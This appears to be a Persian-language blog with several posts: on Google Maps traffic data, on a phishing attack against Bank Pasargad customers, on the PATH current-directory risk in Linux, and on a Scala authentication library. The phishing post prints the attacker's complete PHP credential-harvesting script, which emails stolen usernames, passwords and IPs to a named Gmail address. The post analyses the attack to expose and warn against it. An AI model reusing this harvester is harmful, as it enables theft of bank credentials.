ترافیک لحظه‌ای روی گوگل مپ

دیروز یکی از بچه‌ها متوجه شد که گوگل داره علاوه بر نمایش مسیر، میزان ترافیک و حتی وجود نقاط در دست تعمیر و این‌ها رو هم نشون میده! نمی‌دونم گوگل از کی شروع کرده به ارائه اطلاعات ترافیکی داخل تهران (و حتی ایران) ولی اینکه چطور این کارو کرده جالبه. البته امکان نمایش و پیشبینی ترافیک در روزهای مختلف بر اساس رفتار ترافیکی رو هم داره که برای گوگل کار پیچیده‌ای نیست.

google_map_tehran_traffic

نکته اینجاست که گوگل چطور می‌تونه ترافیک یه شهر که هیچ دسترسی بهش نداره رو به دست بیاره؟ کاری که شهرداری همین شهر به راحتی و برای کل شهر نمی‌تونه انجام بده.

ما اول حدس و گمان زدیم… اول گفتیم شاید داره با پردازش تصاویر ماهواره‌ای و استفاده از تصویر لحظه‌ای شهر این کار رو انجام میده. البته توی هوای ابری و آلودگی و شب و روز، تشخیص حرکت خودرو شاید خیلی پیچیده باشه ولی امکانپذیره و قبلا هم انجام شده. از طرفی دیروز دیدیم که داره وضعیت ترافیک داخل تونل رسالت رو هم نشون میده. هر چند ترافیک داخل تونل از طریق نرخ ورودی و خروجی قابل محاسبه ست ولی دیگه نمیشه جزئیات داخل تونل رو در اورد.

ایده بعدی اینه که با مکان یابی گوشی‌هایی که به اینترنت متصل هستند و در مسیر‌های اصلی در حال حرکت هستند این کار رو انجام میده. به هر حال گوگل برای یادگرفتن مکان مک آدرس مودمها داره اطلاعات جغرافیایی رو مرتب از گوشی‌های اندرویدی دریافت میکنه. نگران نباشید! اپل و مایکروسافت هم دارن این کارو میکنن و به همین ترتیبه که گوشی‌هایی که GPS ندارن هم می‌تونن با اتصال به اینترنت مکانشون رو با دقت خیلی خوبی به دست بیارن.

درسته که تعداد آدمهایی که توی تهران به اینترنت موبایل دسترسی دارن داره بیشتر میشه ولی یه ایده دیگه میتونه این باشه که گوگل با مثلا ایرانسل قرارداد بسته تا حرکت هر فرد داخل شبکه موبایل رو دریافت کنه. اگر میپرسید چطور میتونه موقعیت دقیق یه سیم‌کارت روشن رو تشخیص بده جوابش خیلی ساده ‌هست؛ دقیقا با همون الگوریتمی که GPS کار میکنه فقط جای ماهواره با دکل مخابراتی عوض شده. کافیه یک گوشی به سه دکل مخابراتی دید داشته باشه به این ترتیب با داشتن مکان دکل‌ها و قدرت سیگنالی که از گوشی دریافت میشه، به راحتی مکان دقیقش قابل محاسبه هست.

یه ایده دیگه که توی اینترنت خوندیم این بود که گوگل از طریق تماس‌های صوتی و  پیام‌های متنی که مردم موقعه ترافیک به هم میدن که مثلا «من دیرتر میرسم» متوجه ترافیک میشه. البته این تئوری هم الان امکان‌پذیر هست ولی فکر نکنم برای ایران به این راحتی باشه. مضاف بر اینکه ایده‌های دیگه راحتتره.

در نهایت با جستجویی که تو نت کردیم دیدیم اکثرا میگن با استفاده از همون اطلاعات موقعیت جغرافیایی گوشی‌های اندروید این اتفاق داره میفته.

در نهایت خیلی حال میده که به جای تماشای این جور قضایا توی فیلم‌های عملی تخیلی می‌تونیم توی دنیای واقعی این اتفاقات رو ببینیم و تجربه کنیم و حتی ازشون استفاده کنیم. یه واقعیت شاید ترسناک اینه که گوگل معمولا به تکنولوژی‌های ۲۰ – ۳۰ سال پیش ارتش آمریکا دسترسی داره. برام خیلی جالبه که بدونم الان ارتش آمریکا چه تکنولوژی‌هایی داره که نمیشه عمومیشون کرد و چه کارهایی از دستشون بر میاد که ما خبر نداریم.

چیزی که واضحه اونها از خیلی چیزها اطلاع دارن که ما حتی فکرش رو هم نمی‌کنیم که بتونن. خوشبختانه برای من، بیشتر از اینکه ترسناک باشه از نظر علمی جالب و هیجان انگیزه، اما احتمالا برای خیلی از مردم ترسناک و تهدید کننده هست.

 

فیشینگ بانک پاسارگاد – پیدا کردن هکر

یه ایمیل برام اومد که با یه روش قدیمی و شناخته شده سعی در هک کردن اکانت حساب بانکی پاسارگادم داره؛ فیشینگ (Phishing).

pishing_pasargad

همنوطور که تو تصویر بالا قابل مشاهده هست لینک داخل ایمیل در ظاهر دقیقا لینک دسترسی به اینترنت بانک پاسارگاد هست ولی در باطن لینک شده به یه سایت دیگه که دقیقا عین سایت اصلی ساخته شده فقط هرچی توی فیلدهای این صفحه بنویسیم (شامل نام کاربری و کلمه عبور) رو برای هکر میفرسته و بعد هم صفحه اصلی بانک رو نشون میده تا یه وقت به چیزی شک نکنیم و فکر کنیم که احتمالا خودمون فیلدی رو اشتباه وارد کردیم. با یه مهندسی اجتماعی ساده (اینکه کسی ۶ میلیون تومن پول ریخته به حسابمون) هم سعی کرده تحریکمون کنه که حتما لاگین کنیم.

pishing_pasargad_2

جالب اینجاست که این هک برای انگلیسی زبان‌ها ساخته شده و درگاه پرداخت اصلی هم به زبان انگلیسی هست.

خوشبختانه هم خود Thunderbird تشخیص داد که این ایمیل جعلی هست و هم وقتی روی لینک کلیک میکنیم یه پیغام میده که ظاهر این لینک با آدرسی که بهش اشاره کرده نمی‌خونه ولی اگر هکر یه کم حرفه‌ای‌تر بود میتونست کاری کنه که ایمیل اسپم نشه و این هشدار هم داده نشه. به هر حال من شک ندارم حداقل ۸۰ درصد مردم متوجه هیچ کدوم از این مسائل نمی‌شن و نام کاربری و کلمه عبورشون رو برای هکر میفرستن! متاسفانه، به همین راحتی.

به روز رسانی

خوشبختانه مثل اینکه این هکر ما یه مقداری ناشی هست. اگر به مسیر روت سایت فیشینگ برید میبیند که Directory Listing سرور رو نبسته و از اون بدتر نسخه zip شده سایت رو هم گذاشته روی سرور این یعنی سورس این صفحه در دسترس هست. کد PHP این صفحه فیشینگ به شکل زیره:

<?php  
$ip = getenv("REMOTE_ADDR");  

$message .= "--------------INFORMATION-------------------\n"; 
$message .= "User: ".$_POST['username']."\n"; 
$message .= "Pass: ".$_POST['password']."\n";
$message .= "IP: ".$ip."\n"; 
$message .= "---------------Created By Kizito +6289524438862--------------------\n"; 

$send = "kizito.bank@gmail.com"; 
$subject = "Pasargad"; 
$headers = "From:  iben.bpi.ir"; 
mail($send,$subject,$message,$headers); 

header("Location: https://iben.bpi.ir/");  
?> 

همونطور که مشخصه ایمیلی که اطلاعات قربانی‌ها براش ارسال میشه kizito.bank@gmail.com هست و البته برنامه‌نویس یه تلفن هم گذاشته (که مال اندونزی هست)! یه سناریو میتونه این باشه که یه آدم غیر فنی سفارش این هک رو به یه فریلنسر داده و ازش تحویل گرفته ولی موقعه بارگذاری چون مسائل امنیتی رو نمی‌دونسته اینطوری کدها رو در معرض دید عموم قرارداده. این برنامه‌نویس کلاه سیاه هم تلفنش رو گذاشته بوده واسه تبلیغ تا در انتهای هر ایمیل که برای کارفرما ارسال میشه در پایین نام کاربری و کلمه عبور قربانی‌ها بیاد. به قول معروف امضاء خودش رو اونجا گذاشته.

امنیت در PATH

وقتی می‌خواهیم در لینوکس یک برنامه یا اسکریپت که در فولدر جاری قرار دارد و البته از نوع قابل اجرا هم است (با دستور chmod +x) را اجرا کنیم،‌ بر خلاف ویندوز فقط نوشتن نام فایل اجرایی کافی نیست و باید پیشوند نقطه-اسلش (dot-slash) را به آن اضافه کنیم.

مثلاً اگر فایل اجرایی به نام my-script در فولدر جاری قرار دارد باید با دستور زیر اجرا شود:

./my-script

کارکتر نقطه تقریباً در همه سیستم عامل‌ها به معنی مسیر جاری است و اسلش هم کارکتر جدا کننده مسیر. پس عملاً مسیر بالا با مسیر زیر یکی است:

my-script

اما دلیل این پیشوند اضافه چیست؟

برای اجرای برنامه‌هایی که در مسیر‌های معرفی شده در PATH وجود دارند نیازی به درج نقطه-اسلش نیست. مثل دستور ls (همان DIR تحت داس) که در مسیر bin قرار دارد ولی چون مسیر bin در PATH معرفی شده، در هر مسیری که باشیم برای اجرای دستور ls فقط همین عبارت کافیست.

اگر خود نقطه-اسلش هم در PATH تعریف شود آنوقت می‌شود نقطه-اسلش را جا انداخت و فایل‌های اجرایی مسیر جاری را فقط با نامشان اجرا کرد. اما این از نظر امنیتی خوب نیست.

فرض کنید شما ادمین سیستم هستید و با دسترسی root وارد فولدر خانه کاربر دیگری شدید. آن کاربر یک فایل اجرایی به نام  sl را ساخته که کدی مخرب در آن قرار دارد. شما می‌خواهید دستور ls را تایپ کنید ولی اشتباهی sl را تایپ و اجرا می‌کنید. کد مخرب کاربر اجرا می‌شود.

از آن بدتر اینکه در صورتی که در PATH، اولویت مسیر نقطه-اسلش بالاتر از مسیر bin باشد، اگر کاربری که در فولدر خانه‌اش بودیم فایلی با نام ls درست کرده باشد و ما دستور ls را تایپ کنیم. فایل او اجرا می‌شود و به این ترتیب می‌تواند هر اسکریپتی را با بالاترین دسترسی بر روی سیستم اجرا کند.

پس دقت کنید که در PATH شما مسیر نقطه-اسلش وجود نداشته باشد. با دستور زیر می‌توانید PATH را مشاهده کنید:


echo $PATH

منبع: http://stackoverflow.com/questions/6331075/why-do-you-need-dot-slash-before-script-name-to-run-it-in-bash

«مرا به خاطر بسپار» در Scala و Play Framework

تقریباً همه کتابخانه‌های اعتبار سنجی از گزینه «مرا به خاطر بسپار» پشتیبانی می‌کنند.برای چارچوب Play (بر روی اسکالا) چندین پیاده‌سازی در خصوص قسمت‌های مختلف اعتبار سنجی کاربران وجود دارد که هر کدام مزایا و معایب خودشان را دارند و البته بسیاری از آنها فوق‌العاده هستند. اما بخاطر اینکه هم بهتر اسکالا و Play و MongoDB را یاد بگیرم و هم بیشتر با Functional Programming آشنا شوم خودم دست به کار شدم برای پیاده‌سازی یک کتابخانه اعتبار سنجی که دارای مشخصات زیر است:

  1. پشتیبانی از «مرا به خاطر بسپار» با رعایت کامل اصول امنیتی (نمی‌دانم ASP.NET Membership امنیت را تا این حد که در این مقاله گفته شده رعایت می‌کند یا نه)
  2. کاملاً غیر همزمان (Async)
  3. طراحی Role-based
  4. و …

کار خیلی سختی بود :( پیاده‌سازی‌اش به همراه مطالعات و تحقیقات نزدیک ۶ ساعت (مفید) زمان برد و تقریباً کل روزم را گرفت.

بعضی اوقات احساس ترس می‌کنم از اینکه همزمان وارد این همه تکنلوژی جدید شدم. مخصوصاً وقتی همه چیز Async است و مثلاً برای گرفتن اطلاعات دو مجموعه (جدول) به هم وابسته از Mongo ممکن است کلی پیچیدگی به وجود بیاید. بعضی وقتها سر یک کوئری که قبلاً برایم خیلی ساده بود زمان زیادی صرف می‌کنم که بیشترش هم بخاطر Async بودن کار است. استفاده از Immutable ها هم که تا قبل از ورود به اسکالا هیچ چیزی در موردش نمی‌دانستم مزید بر علت شده.

اما در عوض؛

  1. هرچند نوشتن این کتابخانه‌ها بسیار سخت است ولی استفاده از آن‌ها بسیار ساده و لذت بخش است
  2. Performance کار بی نظیر است